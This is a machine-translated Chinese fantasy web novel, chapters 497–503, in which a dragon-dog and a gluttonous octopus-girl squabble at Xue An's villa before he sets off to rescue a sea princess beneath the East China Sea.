    Unexpectedly, as soon as Xue An returned, he used thunder means to completely eradicate the malignant tumor that parasitized Tianyuan Company.


    This made Chen Xiuhe quite admired.


    But what shocked him most was Xue An''s remarks.


    The good to the wicked is the evil to the good, and a tiger in his heart sniffs the rose.


    No matter what, it is amazing.


    Xue An just smiled when he heard the words, "Just do business, I''m afraid that I will destroy my competitors on impulse."


    Chen Xiu and Wen Yan laughed loudly. After laughing, he lowered his voice and said.


    "Mr. Xue, many intelligence spies from Country M were suddenly withdrawn from China yesterday."


    Xue An nodded slightly, "I warned them yesterday through Tian Bojun''s phone call. I guess they clearly angered my fate."


    Chen Xiuhe nodded solemnly, sighing in his heart, this is the prestige of the prestigious world.


    A single sentence can cause the intelligence agencies of a major country to retreat collectively.


    And Beijiang at this time.


    At the foot of the mountain where Villa Tianzi No. 1 is located, two habitual thieves came.


    The two of them walked out of the woods constricted and looked at the villa on the top of the mountain.


    "Youngest, are you sure there is no one here?"


    "Boss, don''t worry, my cousin used to do cleaning here, he said more than once, there lived a young and beautiful girl and a dog, and this time, the girl has gone to work, this No one inside."


    "Does anyone who can live here need to go to work?" the boss frowned and said.


    The youngest laughed, "What do you care about so much? It''s a business to get money. Are you afraid that you won''t get it?"


    "I''m afraid of a bird, am I worried that there will be someone."


    "It''s just a little girl, if it''s really inside, it would be cheaper for us." The youngest member smiled very silver.


    The two men took aim at this often empty villa a few days ago.


    Although the security of this Yunmeng Courtyard is very tight, it can''t stop the two habitual thieves who were born in the tomb.


    The two of them dug a hole directly from the outside and dug all the way to here.


    The two secretly started going up the mountain, and smoothly came to the front of Villa No.1 Tianzi.


    The door was actually open.


    The two looked at each other, their faces full of excitement.


    Then walked in carefully.


    "Wow, the life of the rich is different, this decoration is really **** beautiful!" said the boss of the habitual thieves.


    The youngest took a deep breath, and said with a face full of intoxication: "This faint fragrance is really good. It can be seen that the girl who lives here must be extremely beautiful!"


    "Okay, there is nothing else in your head, hurry up and find valuable things."


    The boss said, turned around and took a step, then let out a scream, and then disappeared directly on the ground as if being dragged away by something.

 Chapter 498： So big 1

    "Boss, what''s wrong with you?"


    The youngest member heard that scream, and suddenly turned around to look.


    The back is empty, nothing.


    "Strange, I clearly heard a scream! Boss, where are you? This is not the time for jokes!"


    As the youngest said, he started to look for the boss, but found nothing.


    The whole villa was quiet and terrible, and the youngest youngster oozes cold sweat on his forehead, and said with a strong smile: "Boss, you are not interesting enough, are you kidding me?"


    At this moment, a very strange sound came from underground.


    The sound was like someone chewing something, it was creepy.


    As tomb robbers, these people have more or less experienced supernatural events, but the youngest has never been so scared.


    "Fuck, boss, you bastard, I won''t play with you anymore!" The youngest boy braved himself and turned around and ran.


    A tentacled stretched out from the ground, directly wrapped around his ankle, and suddenly pulled down.


    The youngest screamed and wanted to struggle, but the strength of the tentacles was obviously so great that he could not resist at all. He was directly dragged into the ground and disappeared.


    The ground squirmed, and there was another creaking chewing sound.


    After a while, the chewing sound stopped.


    But something seemed to burp contentedly underground, and then mumbled in a vague voice: "It''s delicious."


    Everything in the villa was calm again, as if nothing happened just now.


    Tang Xuan''er rode an electric car with the vegetables that he bought on the way from get off work in the basket, and sat on the back seat with Xiaosha, and returned to Yunmeng Courtyard.


    "Miss Tang, it''s off work!" The little security guard at the door greeted Tang Xuan''er with a smile, and then opened the door.


    Tang Xuan''er smiled and nodded, "Thank you!"


    Then he twisted the handlebar and rode in.


    Until Tang Xuan''er walked far away, the security guard''s eyes remained reluctant.


    "Boy, what are you looking at?" an older security guard walked over and asked.


    The little security guard smiled, "Uncle Zhang, this Miss Tang lives in Yunmeng Courtyard, why does she ride an electric car to and from get off work every day?"


    "Then what are you talking about riding?" Uncle Zhang said with a smile, and then said in an admiring tone.


    "Ms. Tang is not the messy women out there. On her terms, it''s okay to fly to and from get off work, but she doesn''t want to slander."


    Then he patted the security guard on the shoulder, "Boy, I know what you think! This Miss Tang has a gentle personality, and she doesn''t have to say anything. Just looking at people buying vegetables and cooking every day, she knows she is definitely a good girl! But I advise you not to think about it."


    The little security guard trembled, and said with a strong smile: "Why! Does this Miss Tang already have a boyfriend?"


    Uncle Zhang frowned and just wanted to talk.


    At this moment, someone coughed a few times and walked over.


    "manager!"


    Uncle Zhang quickly retreated aside.


    It was Wu Qiang, the property manager of Yunmeng Hospital, who had just passed by. Hearing the words of the security guard, he walked over.


    "Manager!" The little security guard also lowered his head.


    Wu Qiang looked at him for a while, then patted him on the shoulder.


    "Boy, you just joined the job, and you still don''t understand many rules, but I hope that from now on, I don''t let me hear or see any messy thoughts from you, otherwise no matter who you are in the backstage, you will get rid of me immediately! understand?"


    The little security guard''s complexion turned pale, and he nodded his head only in a promise, "Yes!"


    The security staff at Yunmeng Hospital are highly paid and have complete benefits.


    Being able to enter here is the dream of many security guards.


    The security guard also spent a lot of money to come in, so naturally he didn''t want to be fired.


    "Lao Zhang, talk to him about the rules, shit, don''t these security companies know how to do induction training? Who can afford it if something goes wrong?" Wu Qiang went away cursingly.


    Uncle Zhang said to the little security guard: "Remember, in Yunmeng Courtyard, as long as you live in Tianzi No. 1 Villa or are connected to Tianzi No. 1 Villa, you can''t offend or provoke you, understand?"


    Then he leaned over and whispered: "Did you see our manager? It''s pretty amazing, but if you meet someone from Tianzi No.1 Villa, he won''t even dare to show up, so you have a bit of spectrum in your heart!"


    The little security guard trembled, "Yes!"


    Of course, Tang Xuan''er didn''t even know what happened.


    She has never noticed whether the security guard at the door has been changed.


    At the moment, she is riding a tram up the mountain.


    "Xiaosha, I think you should lose weight!" Tang Xuaner said.


    Because Yunmeng Bieyuan is far away from the hospital where you work, it is troublesome to take a taxi every day.


    Qin Yu was going to give Tang Xuan''er a car, but Tang Xuan''er refused.


    Then she bought such an electric car.


    But when you bring Xiaosha, the speed of this car is always low.


    "It is impossible to lose weight to lose weight, it is impossible to lose weight in this life!" Xiao Sha in the back seat said lazily.


    Tang Xuan''er: "..."


    "By the way, can you look at your phone less! You are a dragon, but you speak like a gangster!"


    "Really? Thanks!"


    "..."


    When there was no one, Tang Xuan''er and Xiao Sha would often quarrel.


    In this noise, they returned to the villa.


    Tang Xuaner parked the electric car and was about to go in after picking up the vegetables.


    Xiao Sha sniffed, and then said in a deep voice: "No, don''t go in yet!"


    Tang Xuan''er was taken aback, "What''s the matter?"


    "There is a demon!"


    Xiao Sha said, her eyes flickered.


    "No matter what you are, get out of me now!"


    The villa was silent.


    "Hmph, there is a faint smell of sea water in the air. If I guess right, you are a monster in the sea. Don''t get out again. Be careful that I show up to make you look good!"


    Along with the voice, a powerful Longwei radiated from Xiaosha.


    Suddenly, the ground in front of the villa squirmed for a while, and then a long tentacled sticking out from it ~ www.novelhall.com ~ a panicked voice came.


    "Lord Dragon Clan calm down, I will come out now, you must not kill me!"


    A few more tentacles slowly stretched out, when the whole figure was revealed.


    Tang Xuan''er blurted out, "What a big octopus!"


    The octopus is half the size of a house, with pink tentacles swaying in the wind, but there are human features on the octopus''s head.


    This picture should have been weird.


    I don''t know what''s going on, but this octopus always gives people a funny feeling.


    At this moment, the octopus monster smiled at Xiao Sha flatly, "My lord!"


    Xiao Sha nodded proudly, "What are you doing here, the Kraken?"


    The octopus monster''s tentacles squirmed for a while, and then said in an aggrieved voice: "Lord Dragon, do you know where Mr. Xue Anxue is? I have a hundred thousand urgent things to find him!"

 Chapter 499： Runaway sand

    A pink octopus keeps asking for Xue An? And it''s still a matter of urgency?


    Tang Xuan''er suddenly felt that her IQ was not enough.


    "What are you looking for my boss for?" Xiao Sha said.


    "Oh, Mr. Xue turned out to be your boss, Lord Dragon! It seems I didn''t find the wrong place!" The octopus monster excitedly waved his pink tentacles.


    "Stop talking nonsense, my old lady asks what you are looking for with my boss?" Not only does Xiaosha speak more and more like a hooligan, her temper is getting more violent.


    The octopus monster''s tentacles stagnated in mid-air, and then cautiously said: "Lord Dragon, who are you or Mr. Xue?"


    "Nonsense, I''m the magnificent Jiaolong lord, naturally... my boss is a little more powerful! What''s the matter? Look down on me?" Xiao Sha said coldly.


    "No...no, it''s just that this matter is too important, and can only be said after seeing Mr. Xue!"


    "Oh, it looks like you are still an octopus who doesn''t see the coffin and doesn''t cry, Sister Xuan, let''s improve our food tonight and eat octopus sashimi!" Xiao Sha was furious, thinking that the octopus must look down on herself.


    The octopus monster was so scared that the tentacles were knotted, and he shouted in fear and fear: "Lord Dragon Clan calm down, and Long Clan adults calm down. This is what our princess told me!"


    "Stop talking nonsense!" Xiaosha''s Long Wei exuded, making the octopus tremble.


    Tang Xuan''er hurriedly stopped Xiao Sha, "Okay, okay! Xiaosha, you will not be allowed to watch Young and Dangerous movies in the future, you see you are more and more like a gangster!"


    Xiao Sha was a little unconvinced by what Tang Xuan''er said, but didn''t dare to resist, so she gave the octopus a fierce look.


    "Sister Xuan, this guy is a water monster, who knows what he wants to do! You still protect him!"


    "I don''t think it looks like a bad monster! And you have to ask what''s going on before you talk."


    "Yes, yes, Sister Xuan is absolutely right!" The octopus monster leaned out from behind Tang Xuan''er and said.


    "Oh, kid, is Sister Xuan what you can call?" Xiao Sha glared.


    The octopus monster was so scared that he shrank back immediately, and then said aggrieved: "I am not a kid, I am a girl!"


    Tang Xuan''er looked at the shy octopus monster, and said in surprise: "You... are you a girl?"


    The octopus nodded, "Yeah, don''t you guys see it?"


    Tang Xuan''er and Xiao Sha shook their heads together.


    "Oh, don''t you guys see that the tentacles are all pink?" The octopus monster squeezed, and the tentacles flicked unconsciously.


    With a click.


    A big tree in front of the villa was directly cut off.


    Tang Xuan''er and Xiao Sha were a little stupid.


    After a while, Xiao Sha roared, "I cut off one of my favorite trees! I''m going to beat you to death!"


    Saying that Xiaosha rushed up, although her figure looked very inconspicuous compared to an octopus, she couldn''t stop her being strong.


    One claw pushed the octopus monster to the ground, followed by a violent beating.


    "Ahhhh, I was wrong, Lord Dragon, please don''t slap me in the face! Ah, it''s not even possible there! Buy a disc..."


    "I told you not, I let you buy a dish, you dead octopus!"


    Tang Xuan''er watched this scene, and a black line gradually appeared on her forehead.


    The night is rising, and the moon hangs over the treetops.


    Tang Xuan''er was busy in the spacious kitchen of Villa Tianzi No.1.


    When it comes to cooking, she is no less inferior to a five-star chef.


    Although the ingredients are very simple home cooking, but in her hands, it exudes a charming fragrance.


    After the last dish was cooked, Tang Xuaner brought the dish to the table outside.


    At this moment, Xiao Sha was already sitting on the chair of the dining table looking forward to it.


    And under the dining table lies the octopus monster that has been reduced.


    It''s just that the current situation of this octopus monster is a bit miserable, a big bag was punched in the head, not to mention, even a few holes were broken.


    Tang Xuan''er felt a little distressed, so she found a few band-aids and applied it, and the result was even more comical.


    "Wow, it smells good!" The octopus monster drooled and sighed.


    Xiao Sha glared at it, and the octopus monster was too scared to say anything.


    Tang Xuan''er smiled helplessly: "Xiaosha, why are you so violent? Big Octopus, can you eat such a meal?"


    The octopus monster nodded hurriedly, with little stars in his eyes, "Eat and eat, too edible! I have eaten two bad guys in the past few days, and they are almost starving to death!"


    Finally, in Xiaosha''s silent glaring, the octopus monster sat on the chair as he wished.


    So a dog turned into a dragon and a soft octopus appeared on the table.


    Such a picture is full of fantasy.


    Tang Xuan''er said with a smile, "Then eat it!"


    As soon as she finished speaking, Xiao Sha was about to get her favorite roast chicken, and Tang Xuan''er was also about to drop her chopsticks.


    However, the tentacles danced wildly, holding the food on the table firmly, and then the octopus monster opened its mouth like a black hole, and poured all the food directly in.


    Even after the pouring, there will be a tentacle scraping the plate, and even the soup is poured into the mouth.


    When the plate was put back on the table, it had become extremely clean, enough to illuminate the figure.


    "It''s delicious, it''s delicious! Sister Xuan''s cooking skills are awesome!" The octopus monster smacked and said with a contented expression.


    Tang Xuan''er and Xiao Sha stared at this scene dumbfounded. In the blink of an eye, all the food on the table was eaten by this octopus.


    Xiao Sha''s eyes gradually burned with violent anger, and she felt that she had never been so angry.


    I actually ate all my favorite roast chicken, not even a bone left!


    This is simply intolerable!


    This anger shocked Xiao Sha, and turned into a beautiful girl!


    This is the first time that she has not transformed herself by being drunk, which shows how important food is to a foodie.


    As soon as Xiao Sha stretched out his hand, he grabbed the octopus monster''s head, and roared furiously: "I want to screw off your head!"


    The octopus monster was frightened, "Ah, Lord Dragon, no, Sister Dragon, calm down!"


    Xiao Sha didn''t bother to pay attention to this at all, catching the octopus monster''s tentacles was a crazy blow.


    Bang bang bang.


    The floor was smashed into a few big holes suddenly.


    There was a bang.


    The octopus monster caught by Xiaosha also turned into a human form.


    It''s just that it turned into an eleven or twelve-year-old little Lolita, with a beautiful and refined appearance.


    But Xiao Sha, who was already in a frenzied state, obviously didn''t care about this, she grabbed little Lolita''s leg and smashed frantically.


    Tang Xuan''er really couldn''t stand it anymore, "Well, I can just make another table! Don''t fight!"


    Hearing what she said, Xiao Sha immediately let go of her hand and sat back on the chair, "Sister Xuan, I want to eat roast chicken!"


    Tang Xuan''er nodded.


    The octopus monster crawled out of the pit and shouted weakly, "Sister Xuan, I''m not full!"


    Xiaosha''s forehead showed blue veins again, "I haven''t been beaten enough yet?"

 Chapter 500： Xue An, one

    When Tang Xuan''er made a table of food again, under Xiao Sha''s murderous gaze, the movements of the octopus Lori became much gentler.


    Of course, it may also be because there are not so many tentacles to help after transforming into a human form.


    In short, this meal is relatively safe.


    But another problem has arisen.


    That''s why this octopus monster is still talking about it.


    During the meal, she kept talking nonsense.


    After she finished eating, she kept talking.


    Tang Xuan''er was a little dizzy when she heard it, so she could barely hear what was going on.


    According to the octopus monster herself, her name is Zhang Xiaoyu.


    This name... is simply powerless to complain.


    She was originally a monster living in the ocean, so she came to ask Xue An for help on the order of a noble princess.


    But this little octopus has lived in the sea since he was a child, and has never been on shore, so when he arrived on land, he was confused and lost.


    After staggering for more than a month, she came to Beijiang with the breath of the princess.


    Originally, the villa of Tianzi No. 1 had a mountain protection formation, and a little monster like Zhang Xiaoyu couldn''t even climb the mountain.


    But there were two dumb thieves who were going to steal things from Tianzi No.1 villa, so she secretly followed a dumb thieves into the villa.


    "Where are the two thieves?" Tang Xuan''er asked.


    "Eat! I hadn''t eaten for more than a month, and I was almost hungry. The two bad guys took the initiative to deliver them to the door. Of course I can''t be polite! The taste is okay!" Zhang Xiaoyu said.


    Tang Xuan''er: "..."


    Xiaosha leaned Erlang''s legs, picking his teeth on the side, and said with a sneer: "Sister Xuan, I have said that a monster is a monster, she can do it by eating people, what else can''t be done?"


    "It sounds like you are not a monster!" Zhang Xiaoyu muttered lowly.


    "What are you talking about?" Xiao Sha glared.


    "Ah, nothing said. I mean sister Xuan''s cooking skills are simply amazing. After eating this kind of food, I will definitely not eat people in the future!" Zhang Xiaoyu said.


    "Then your princess didn''t say anything on earth?" Tang Xuan''er asked.


    Zhang Xiaoyu shook his head firmly, "Sister Xuan, although you are very kind, but my princess has said that, this matter can only be told to Mr. Xue!"


    "Oh, owe it again, isn''t it?" Xiaosha sneered.


    "Sister Xiaosha, if you killed me, I won''t say it!"


    "Who is your sister!"


    "Okay, okay, don''t make any noise! ??In that case, I''ll call Xue An!"


    Zhang Xiaoyu was overjoyed, "Thank you sister Xuaner!"


    Tang Xuan''er took out her mobile phone and dialed Xue An''s number.


    At this moment, Xue An is in a newly opened amusement park in Zhongdu, walking with Anyan around the haunted house.


    That''s right.


    Dignified Xianzun is actually visiting a haunted house.


    Although this haunted house claims to use 5D sound and light plus, virtual reality, even the actors inside are specially trained.


    But Xue An still felt so boring.


    But helpless, his wife likes it, and he can only accompany him.


    This is a long corridor, the wooden floor is already a bit decayed, and you will make a creaking sound when you step on it.


    There are Japanese-style sliding doors on both sides of the corridor. Many of the doors are broken, but you can''t see what''s in the door.


    It seemed that something inside the wooden door had absorbed all the light, which seemed extremely gloomy.


    An Yan held Xue An''s arm very nervously, "Old...husband, do you hear anything?"


    "I heard it! It''s a woman crying!" Xue An said nonchalantly.


    "Ah... So you heard it too! Aren''t you afraid?" An Yan trembled.


    "Afraid?" Xue An thought for a while, "I think this woman''s crying is not too confusing, and the bonus should be deducted."


    But An Yan obviously didn''t hear Xue An''s complaints. At this moment, she was already infected by the surrounding atmosphere, and she was madly filling up various terrifying plots.


    The more she thought about it, the more scared she became, and the more she held Xue An''s hand trembling.


    Xue An was utterly nonchalant.


    I''m obviously afraid to die, but I have to come to play.


    Is this the ambivalence of women?


    Finally, they reached the end of the corridor.


    Just push open the blood-stained wooden door, and the haunted house should be finished.


    An Yan also secretly breathed a sigh of relief.


    Finally came out.


    But at this moment, a female ghost suddenly hung upside down from the ceiling.


    On the head and feet of this female ghost, her hair fell to the ground, revealing a terrifying face.


    Why is it scary.


    Because the female ghost''s body was hanging upside down, but her face was upright, and there was a grinning smile at the corner of her mouth.


    Xue An didn''t even blink his eyelids, and was even in the mood to look at the female ghost''s makeup.


    Ok.


    Not bad, very delicate.


    But An Yan was not so calm.


    She screamed in fright, subconsciously stretched out her hand, and slapped it directly.


    This palm even caused a strong wind.


    If this is shot, the female ghost is probably smashed.


    Xue An quickly snapped his fingers and hurriedly saved the female ghost before An Yan''s slap arrived.


    boom.


    The wooden corridor was directly smashed, and most of the haunted house was razed to the ground.


    The power of An Yan''s palm is so terrifying!


    Amidst the ruins, Anyan stood blankly, and there were many employees in the haunted house just as stupefied as her.


    These people were all dressed in the costumes of wandering ghosts and suddenly exposed to the sun, and they were all full of stunned comparisons.


    After a while, I heard someone scream.


    "My haunted house..."


    In the end, Xue An led An Yan away after paying the boss the full compensation.


    "Old...husband, did I get into trouble?" An Yan asked timidly looking at Xue An, whose face was sinking.


    Xue An stopped and turned to look at An Yan quietly.


    An Yan''s expression is getting weaker and weaker, her fingers play with the corners of her clothes unconsciously, "I...I know it''s wrong!"


    The corners of Xue An''s mouth gradually raised, and then he burst into laughter.


    Amidst the laughter, An Yan''s face gradually changed from dazed to sober, and then said in embarrassment: "You bad guy, you lie to me!"


    She said she was about to punch Xue An Xue An smiled and avoided.


    "Okay, okay, I just want to laugh at the thought of your dazed face standing in the ruins, I really didn''t laugh at you!"


    "I haven''t said it yet!" An Yan refused to give up.


    The two are laughing and playing.


    Xue An''s cell phone rang.


    When he took it out, Xue An was taken aback.


    "Who is calling!" An Yan asked, leaning over.


    "It''s Xuan''er!" Xue An said, and then connected the phone.


    "Hey, Xuan''er, what''s the matter?"


    Hearing this familiar voice, Tang Xuan''er had a slight fever on her face, and she said calmly, "Xue An, there is an octopus saying that there is a rush to find you!"

 Chapter 501： Roar of evil dragon

    "Octopus?" Xue An was startled slightly.


    "Yeah! An octopus loli!" Tang Xuan''er looked at the octopus who was stealing snacks from the table, and added, "And it''s still a very edible one!"


    Before the words were over, Zhang Xiaoyu was caught by Xiaosha.


    "Dare to steal my snacks! I am going to kill you, mother!" Xiao Sha ran away again.


    Tang Xuan''er had a strict limit on her daily snacks, so she couldn''t bear to eat it, and wanted to save it until evening when she watched TV.


    But I didn''t expect to be eaten most of by this hateful octopus.


    "Sister Long, I just want to taste it, but who knows that I can''t stop eating, I was wrong! Ah... don''t slap your face, OK!"


    Octopus was knocked to the ground by the angry Xiao Sha again.


    Watching this scene, several black lines gradually appeared on Tang Xuan''er''s forehead, and finally couldn''t help but shout: "Enough, I just wiped the floor in the room, I want to beat you out!"


    Xiao Sha nodded, "Good idea!"


    As he said, he grabbed one of Zhang Xiaoyu''s leg and dragged her out.


    Zhang Xiaoyu was scared and yelled, "Sister Xuan, help, Sister Xuan..."


    After a dragon and a demon came out of the room, Zhang Xiaoyu''s scream came again after a while.


    Tang Xuan''er said helplessly to the phone: "Did you hear that? I guess if you come back later, this octopus might be stewed by Xiao Sha."


    Xue An laughed blankly, "Give the phone to Xiaosha!"


    Tang Xuan''er walked out of the room and saw Xiao Sha kicking Octopus''s body, pulling her arm with one hand, stretching at the limit.


    The short arm was pulled out like a rubber band.


    Zhang Xiaoyu yelled in pain, "Sister Long, it''s going to be broken! Ah! Don''t pull it anymore! I promise I won''t steal it again!"


    Xiao Sha was full of anger, "Next time? Do you think you have another next time?"


    At this time Tang Xuan''er came over, "Nuo, your boss''s call!"


    Xiao Sha was taken aback when she heard it, and then hurriedly picked it up.


    "Boss!"


    Xue An sighed softly on the other side of the phone, "Okay, don''t call! I will go back tomorrow! Let this octopus monster wait for me!"


    "Yes!"


    Zhang Xiaoyu also heard Xue An''s voice on the phone, and after a moment she couldn''t help crying.


    "Is it Master Xianshi? Help Master Xianshi! I am about to be killed by this evil dragon!"


    Tang Xuan''er covered her eyes.


    This Zhang Xiaoyu is not only a gluttonous glutton, but also a great dramatist.


    Xue An smiled slightly, "Don''t worry, she won''t kill you! Wait for now, I will go back tomorrow!"


    After speaking, he hung up the phone.


    An Yan looked at Xue An with a confused expression.


    "Husband, what''s the matter? Why do I listen to such excitement, what Xiaosha or octopus!"


    Xue An smiled slightly, "It''s nothing, let''s go back to Beijiang tomorrow."


    "Hmm!"


    And in front of Tianzi No. 1 Villa, when Xue An hung up the phone.


    The howling and crying Zhang Xiaoyu was stunned, and then turned his head cautiously to look at the sinking sand, and smiled flatteringly.


    "Sister Long..."


    Xiao Sha smiled sadly, "Sister Long? Didn''t you tell the boss that I am a dragon?"


    Zhang Xiaoyu trembled all over, "A slip of the tongue, it was pure slip of words just now! How could a powerful and beautiful flood dragon like you be an evil dragon!"


    "That''s it!" Xiao Sha nodded.


    Zhang Xiaoyu let out a sigh of relief, and said his heart had finally stalled.


    But in the next second, she felt that the whole person was flying.


    Xiaosha grabbed one of her arms like a windmill, and huffed her into the wind.


    "Ahhhhh! Sister Long, what are you going to do?"


    "What are you doing? Naturally, I will send you to a fun place." Xiao Sha said, suddenly letting go.


    The rounded octopus was launched like a cannonball, and flew into the distance in a parabolic trajectory.


    "Ahhhhhhh...don''t do this, I''m afraid of heights!" Zhang Xiaoyu shouted in the air.


    Then he fell into Yunmeng Lake with a plop, and there was no more sound.


    Xiao Sha stood on the top of the hill and looked at.


    Tang Xuan''er asked with some worry: "There won''t be any accidents!"


    "Huh, she is also a water monster anyway, how could something happen?" Xiaosha sneered.


    "But isn''t she a monster in the sea? Yunmeng Lake is a freshwater lake!" Tang Xuaner said.


    Xiao Sha was stunned, then scratched his scalp, "It seems to be too!"


    As soon as the voice fell, Zhang Xiaoyu slowly floated to the surface, motionless, like a corpse.


    Xiaosha is also a little nervous, isn''t it really dead?


    That''s it!


    Tomorrow the boss will come back to find out about it, and he will have to follow it.


    "Or, let me go and have a look?" Xiao Sha said.


    At this moment, the octopus lying on the water sprayed a fountain with one mouth, and then coughed.


    "God, almost drowned me!"


    Xiao Sha let out a sigh, "Hmph, I knew she couldn''t die!"


    Tang Xuan''er looked at Xiao Sha with a weird look at this time.


    "Sister Xuan, what do you always see me doing?"


    "Didn''t you find that you are still in human form?" Tang Xuan''er said quietly.


    Xiao Sha was stunned when he heard it, and looked down at his body, "It''s really true! Only when you are drunk can you transform into a human being. When he wakes up, he recovers. What happened this time?"


    "It''s probably because of her!" Tang Xuan''er looked at the small octopus swimming in the Yunmeng Lake in the form of a dog, and said softly.


    Xue An dealt with the matter of Zhongdu for a while, and was planning to fly back to Beijiang directly with his family.


    Chen Rushi is here.


    "Sir!" Chen Rushi said softly.


    Xue An smiled slightly, "Miss Chen, what''s the matter?"


    Chen Rushi lowered his head, never daring to look at Xue An.


    She thought that she had forgotten this relationship, but she did not expect her heartbeat to speed up frantically when she met Xue An.


    She took a deep breath and said calmly: "Sir, I''m here to bring a friend to thank you!"


    "Thanks?"


    "Yes!"


    Speaking of Chen Rushi turning sideways, UU reading saw a woman walking in staggeringly.


    Xue An was startled slightly, then smiled and nodded, "So it''s Miss Wei!"


    This faltering girl is the same Wei Rulan who was able to travel in a wheelchair before.


    Wei Rulan smiled and said: "Mr. Xue, I heard that you are returning to Zhongdu, I hurried to find Rushi to come over to thank you! If you hadn''t given me the spiritual stone, maybe I still can''t walk in a wheelchair. Yeah!"


    People who have not experienced it may not be able to imagine the desire of a person in a wheelchair to walk.


    Wei Rulan''s leg disease was born with him, and he had been treated by famous doctors all over the world to no avail.


    Later, she was even desperate, but she did not expect that at Xue An and An Yan''s wedding, the spiritual stone Xue An handed her had a miraculous effect.


    Now she can walk slowly without relying on crutches and other objects.


    So she was naturally very grateful to Xue An, and this time she came here to express her gratitude.

 Chapter 502： Under the East China Sea

    Xue An just smiled upon hearing this, "It''s just a spiritual stone, you are welcome."


    "This may be just an ordinary spirit stone to you, but to me it is like rebirth!" Wei Rulan said sincerely.


    In fact, Wei Rulan had consulted many seniors after receiving this spiritual stone, and these people only had one comment on this spiritual stone.


    Priceless.


    There are even many people who are extremely excited to know how this spirit stone came from.


    But they were all prevaricated by Wei Rulan with clever excuses.


    At this time Xue An looked around, "Master Wei hasn''t come?"


    Xue An asked Wei Rulan''s cousin, the master flower artist Wei Ruyan.


    Wei Rulan hurriedly said after hearing this: "My cousin was invited by a floral master in R country and went out on a cruise ship the day before yesterday. She is not in Zhongdu now."


    Xue An was startled slightly, then nodded, "That''s it!"


    After Wei Rulan said a few more words, she got up and left.


    Xue An looked at Wei Rulan''s leaving back, thoughtfully.


    "Husband, what''s the matter?"


    "It''s okay, I just thought it was a coincidence!" Xue An smiled, "Go, let''s go back to Beijiang now."


    Tianzi No. 1 Villa.


    Xiaosha lay lazily on the sofa, watching TV.


    Zhang Xiaoyu squatted in the corner of the sofa obediently, while watching TV with his eyes shining brightly, while peeling melon seeds skillfully.


    After peeling off a paper cup in front of her, she handed it over with a smile on her face.


    "Sister eat!"


    Xiao Sha took the paper cup, poured it into her mouth, chewed it comfortably, and then nodded.


    "Yes, Not Bad!"


    The octopus was so glamorous that she began to peel the seeds again.


    Tang Xuan''er looked at this scene helplessly.


    Ever since Zhang Xiaoyu was thrown into Yunmeng Lake by Xiaosha, she has become like this.


    Before and after the run, the elder sister didn''t say anything, and just like a little maid, she was very diligent in doing chores and waited on Xiaosha very comfortably.


    At this moment, Xiao Sha, who had been slacking off, suddenly sat up and said solemnly.


    "It''s the breath of the boss, he''s back!"


    Then he rushed out.


    "Sister, wait for me!" Zhang Xiaoyu followed him out.


    After Tang Xuan''er also walked out of the room, she saw a stream of light flying from the sky and stopped in front of the villa in the blink of an eye.


    It is the Xue An family.


    "Boss!" Xiao Sha shouted respectfully.


    In front of Xue An, she did not dare to make any trouble.


    Seeing her yelling like this, Zhang Xiaoyu trembled all over, and hurriedly lowered her head and said, "Master Xianshi!"


    Xue An''s gaze swept across Xiaosha and Zhang Xiaoyu, and then smiled slightly.


    "Xiaosha, you actually succeeded in transforming! The progress is very fast!"


    Xiaosha smiled.


    At this time, Xiangxiang and Niannian ran over and asked with a look of doubt: "Are you... Xiaosha?"


    As soon as he saw these two little girls, Xiao Sha leaned down very obediently, rubbed his head against them, and whispered: "Two little princesses, I am Xiaosha!"


    "Wow, Xiao Sha turned out to be so beautiful!" Thinking of stroking Xiao Sha''s hair in amazement.


    Nian Nian stretched out her hand and squeezed Xiao Sha''s face with curiosity, "Really cute!"


    Zhang Xiaoyu who was watching this scene was frightened.


    After more than one day of contact, Xiaosha is no different from the devil in the eyes of Zhang Xiaoyu.


    It''s simply hitting someone with a stare, or hitting someone with a hand!


    These two little girls are so presumptuous, they are probably challenging Xiaosha''s bottom line.


    But the next scene left Zhang Xiaoyu stunned.


    I saw Xiaosha''s face almost burst into laughter, "Then there are no two little princesses pretty!"


    "Then you still scream?" Think about it.


    "Yes!" Xiao Sha said, and learned how many dog ??barks.


    Octopus'' eyes gradually rounded.


    Devil... Learn to bark?


    At this time, Xue An looked at Zhang Xiaoyu and sighed slightly: "Did Jiang Meier send you here?"


    Zhang Xiaoyu was shocked when he heard this, and said excitedly: "Master Xianshi actually knows?"


    "I didn''t know it at the beginning, but when Xuan''er said that an octopus was looking for me, I was suspicious. After seeing your breath, I will be more certain!" Xue An said lightly.


    Zhang Xiaoyu bowed his head respectfully and said, "Master Xianshi is really amazing. That''s right, the one who sent me into the world is the noble Majesty Jiang Meier!"


    Jiang Meier.


    On the island, the sea monster that was suppressed by the Ming family''s fengshui master with sorcery.


    After being rescued by Xue An, she told Xue An her real name.


    And the identity of someone who can possess the real name of the demon is absolutely extraordinary.


    This octopus carried the breath of a sea monster.


    "Go ahead, what''s the matter."


    "Master Xianshi, please save your Highness and the Sea-Monster clan!" Zhang Xiaoyu knelt on the ground with a sad face.


    "Our Sea-Monster and other world monsters have survived in a secret realm for thousands of years, but since last month, a group of monsters suddenly appeared in this secret realm and threatened to take this secret realm back. Let us Get out of it all."


    "Of course many monster races refused, but I did not expect that this group of monster races was so powerful that they wounded us all, and even coveted the ancient blood of His Royal Highness. They arrested them, saying that they were waiting for a big monster. After the young man arrives, present His Highness!"


    "I am a close-knit maid of His Royal Highness. Before she was taken away, she told me that only Mr. Xue in the world could save her! Then she sent me out of the secret realm by secret method. But I went around the world. After moving for more than a month, I finally found you!"


    While talking, this chapter Xiaoyu has burst into tears.


    Xue An raised his eyebrows slightly.


    "A group of powerful monsters?"


    "Yes! These guys are not of the same race. There are tiger demon, black bear demon, and plant spirits, but they are all very powerful!"


    Xue An nodded, "Understood!"


    Zhang Xiaoyu looked at Xue An hopefully, "Master Xianshi, please help me. If you don''t do anything, then your Highness and many local monster races will be destroyed!"


    Xue An turned around and looked at Anyan I went to the Secret Realm of the Monster Race, you and your daughter are waiting for me here! "


    An Yan nodded.


    Xiaosha suddenly said at this time: "Boss, I''ll go with you!"


    "Huh?" Xue An hesitated slightly.


    Xiao Sha quickly said: "I am a native monster clan anyway, so naturally I can''t stand idly by this kind of thing! And I have Longwei, I can help adults!"


    Xue An nodded, "That''s good! You go with me too!"


    Then turned his head to look at Zhang Xiaoyu, "Where is the secret realm of the monster race?"


    "Just under the East China Sea!"


    Donghae?


    Xue An frowned slightly, and suddenly remembered the Master Wei who had been invited to sea.


    "Well, let''s go now!"

 Chapter 503： chance encounter

